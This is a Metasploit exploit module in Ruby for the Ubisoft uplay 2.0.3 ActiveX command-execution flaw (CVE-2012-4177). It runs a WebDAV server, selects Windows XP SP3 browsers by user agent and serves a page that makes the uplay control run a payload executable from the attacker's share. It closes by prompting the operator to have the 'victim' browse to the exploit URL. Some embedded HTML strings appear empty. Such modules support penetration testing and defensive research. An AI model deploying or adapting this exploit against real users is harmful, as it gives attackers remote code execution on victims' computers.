## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution', 'Description' => %q{ The uplay ActiveX component allows an attacker to execute any command line action. User must sign in, unless auto-sign in is enabled and uplay must not already be running. Due to the way the malicious executable is served (WebDAV), the module must be run on port 80, so please make sure you have enough privilege to do that. Ubisoft released patch 2.04 as of Mon 20th July. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy ', # Initial discovery 'Ben Campbell ', 'phillips321 ', 'Richard Hicks ' ], 'References' => [ [ 'CVE', '2012-4177' ], [ 'OSVDB', '84402'], [ 'URL', 'http://seclists.org/fulldisclosure/2012/Jul/375'], [ 'URL', 'http://forums.ubi.com/showthread.php/699940-Uplay-PC-Patch-2-0-4-Security-fix' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 29 2012')) register_options( [ OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]), OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]), OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"]) ], self.class) # WebDAV does not support SSL and must run over port 80. deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH') end def autofilter false end def check_dependencies use_zlib end def is_exploitable?(req) # Only engage Win XP SP3 targets req.headers['User-Agent'] =~ /NT 5\.1/ end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' if request.uri_parts['Resource'].include? @uplay_uri if is_exploitable?(request) prompt_uplay(cli, request) else print_error("Not the target we want, will not engage.") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end else process_get(cli, request) end else vprint_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def prompt_uplay(cli, request) url = "http://" url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe" if path.length > 693 fail_with(Exploit::Failure::Unknown,"Remote path is too long must be < 694 characters") return end cmd = Rex::Text.encode_base64(path) classid = "clsid:1c492e6a-2803-5ed7-83e1-1b1d4d41eb39" type = "application/x-uplaypc" # Unused but alternative to classid content = %Q| | print_status("GET => Exploit") send_response_html(cli, content) handler(cli) end def process_get(cli, request) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if blacklisted_path?(request.uri) vprint_status("GET => 404 [BLACKLIST] (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if (request.uri.include? @basename) print_status("GET => Payload") return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Treat index.html specially if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) vprint_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") resp.body = %Q|| resp['Content-Type'] = 'text/html' cli.send_response(resp) return end # Anything else is probably a request for a data file... vprint_status("GET => DATA (#{request.uri})") data = "HELLO!" send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) vprint_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri vprint_status("PROPFIND #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri = "http://#{my_host}/" if path !~ /\/$/ if blacklisted_path?(path) vprint_status "PROPFIND => 404 (#{path})" resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if path.index(".") vprint_status "PROPFIND => 207 File (#{path})" body = %Q| #{path} #{gen_datestamp} #{rand(0x100000)+128000} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T application/octet-stream HTTP/1.1 200 OK | # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) return else vprint_status "PROPFIND => 301 (#{path})" resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end vprint_status "PROPFIND => 207 Directory (#{path})" body = %Q| #{path} #{gen_datestamp} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" httpd/unix-directory HTTP/1.1 200 OK | if request["Depth"].to_i > 0 trail = path.split("/") trail.shift case trail.length when 0 body << generate_shares(path) when 1 body << generate_files(path) end else vprint_status "PROPFIND => 207 Top-Level Directory" end body << "" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_shares(path) share_name = @share_name %Q| #{path}#{share_name}/ #{gen_datestamp} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" httpd/unix-directory HTTP/1.1 200 OK | end def generate_files(path) trail = path.split("/") return "" if trail.length < 2 base = @basename exts = @extensions.gsub(",", " ").split(/\s+/) files = "" exts.each do |ext| files << %Q| #{path}#{base}.#{ext} #{gen_datestamp} #{rand(0x10000)+120} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T application/octet-stream HTTP/1.1 200 OK 1 | end files end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end # This method rejects requests that are known to break exploitation def blacklisted_path?(uri) share_path = "/#{@share_name}" payload_path = "#{share_path}/#{@basename}.exe" case uri when payload_path return false when share_path return false else return true end end def exploit @basename = rand_text_alpha(8) @share_name = rand_text_alpha(8) @extensions = "exe" if datastore['EXPLOITPATH'] @uplay_uri = datastore['EXPLOITPATH'] else @uplay_uri = rand_text_alpha(8) end myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe") print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}") super end end